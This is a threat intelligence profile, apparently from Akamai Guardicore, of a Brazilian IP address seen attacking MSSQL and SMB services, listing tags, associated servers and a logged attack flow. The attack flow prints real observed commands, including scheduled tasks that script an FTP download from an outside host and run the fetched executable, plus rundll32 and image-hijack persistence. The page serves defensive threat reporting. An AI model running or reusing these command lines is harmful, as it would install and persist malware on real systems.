Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 177.105.192.76Previously Malicious

IP Address: 177.105.192.76Previously Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL SMB

Tags

HTTP CMD Scheduled Task Creation SMB Null Session Login System File Modification IDS - A Network Trojan was detected Service Creation Persistency - Image Hijack SMB Access Suspicious Domain Cookie Hijacking File Operation By CMD Service Configuration Download File Service Start Outgoing Connection Download and Execute

Associated Attack Servers

45.58.135.106 70.39.123.18

Basic Information

IP Address

177.105.192.76

Domain

-

ISP

LIBnet Comunicação Interativa Ltda

Country

Brazil

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2018-12-02

Last seen in Akamai Guardicore Segmentation

2021-05-05

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

IDS detected A Network Trojan was detected : ETERNALBLUE Probe Vulnerable System Response MS17-010

IDS - A Network Trojan was detected

c:\windows\system32\services.exe installed and started cmd as a service named sYCW under service group None

Service Start Service Creation

Process c:\windows\system32\regsvr32.exe generated outgoing network traffic to: 139.5.177.32:8032, 173.208.153.130:8130 and 70.39.123.18:8018

Outgoing Connection

The file C:\WINDOWS\system32\max.exe was downloaded and executed

Download and Execute

Process c:\windows\system32\regsvr32.exe attempted to access suspicious domains: sharktech.net

Access Suspicious Domain Outgoing Connection

System file C:\windows\Temp\wmi.bat was modified 4 times

System File Modification

Process c:\windows\temp\conhoy.exe generated outgoing network traffic to: 103.124.105.246:80, 104.233.207.172:8172 and 70.39.123.18:8018

Outgoing Connection

Process c:\windows\temp\conhoy.exe attempted to access suspicious domains: hosteons.com and sharktech.net

Access Suspicious Domain Outgoing Connection

Process c:\windows\system32\s.exe generated outgoing network traffic to: 172.83.155.170:80, 45.58.135.106:80 and 45.58.135.106:8888

Outgoing Connection

System file C:\WINDOWS\Temp\ntuser.dat was modified 4 times

System File Modification

System file C:\WINDOWS\Debug\item.dat was modified 4 times

System File Modification

C:\windows\Temp\wmi.bat was downloaded

Download File

C:\WINDOWS\Temp\ntuser.dat was downloaded

Download File

The file C:\WINDOWS\Temp\u.exe was downloaded and executed

Download and Execute

C:\WINDOWS\Debug\item.dat was downloaded

Download File

Process c:\windows\temp\u.exe generated outgoing network traffic to: 172.83.155.170:80, 45.58.135.106:80 and 45.58.135.106:8888

Outgoing Connection

c:\windows\inf\aspnet\lsma12.exe was downloaded

Download File

The file c:\windows\temp\conhoy.exe was downloaded and executed 5 times

Download and Execute

The file C:\WINDOWS\system\msinfo.exe was downloaded and executed

Download and Execute

The file C:\WINDOWS\system32\wpcap.dll was downloaded and loaded by c:\windows\system32\cacls.exe

Download and Execute

The file C:\WINDOWS\system32\packet.dll was downloaded and loaded by c:\windows\system32\cacls.exe

Download and Execute

The command line cmd /c echo open ftp.ftp0810.ru>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe c:\windows\update.exe>>s&echo bye>>s&ftp -s:s&c:\windows\update.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa.job

The command line C:\WINDOWS\system32\rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa1.job

The command line cmd /c echo open ftp.ftp0810.ru>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa2.job

The command line cmd /c echo open ftp.ftp0810.ru>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa3.job

The command line C:\WINDOWS\system32\rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa was scheduled to run by modifying C:\WINDOWS\Tasks\ok.job

The command line c:\windows\inf\aspnet\lsma12.exe was scheduled to run by modifying C:\WINDOWS\Tasks\oka.job

The command line c:\windows\temp\conhoy.exe was scheduled to run by modifying C:\WINDOWS\Tasks\MicrosoftsWindowsy.job

c:\windows\system32\cacls.exe set the command line ntsd -d to run using Persistency - Image Hijack 3 times

Persistency - Image Hijack

Connection was closed due to user inactivity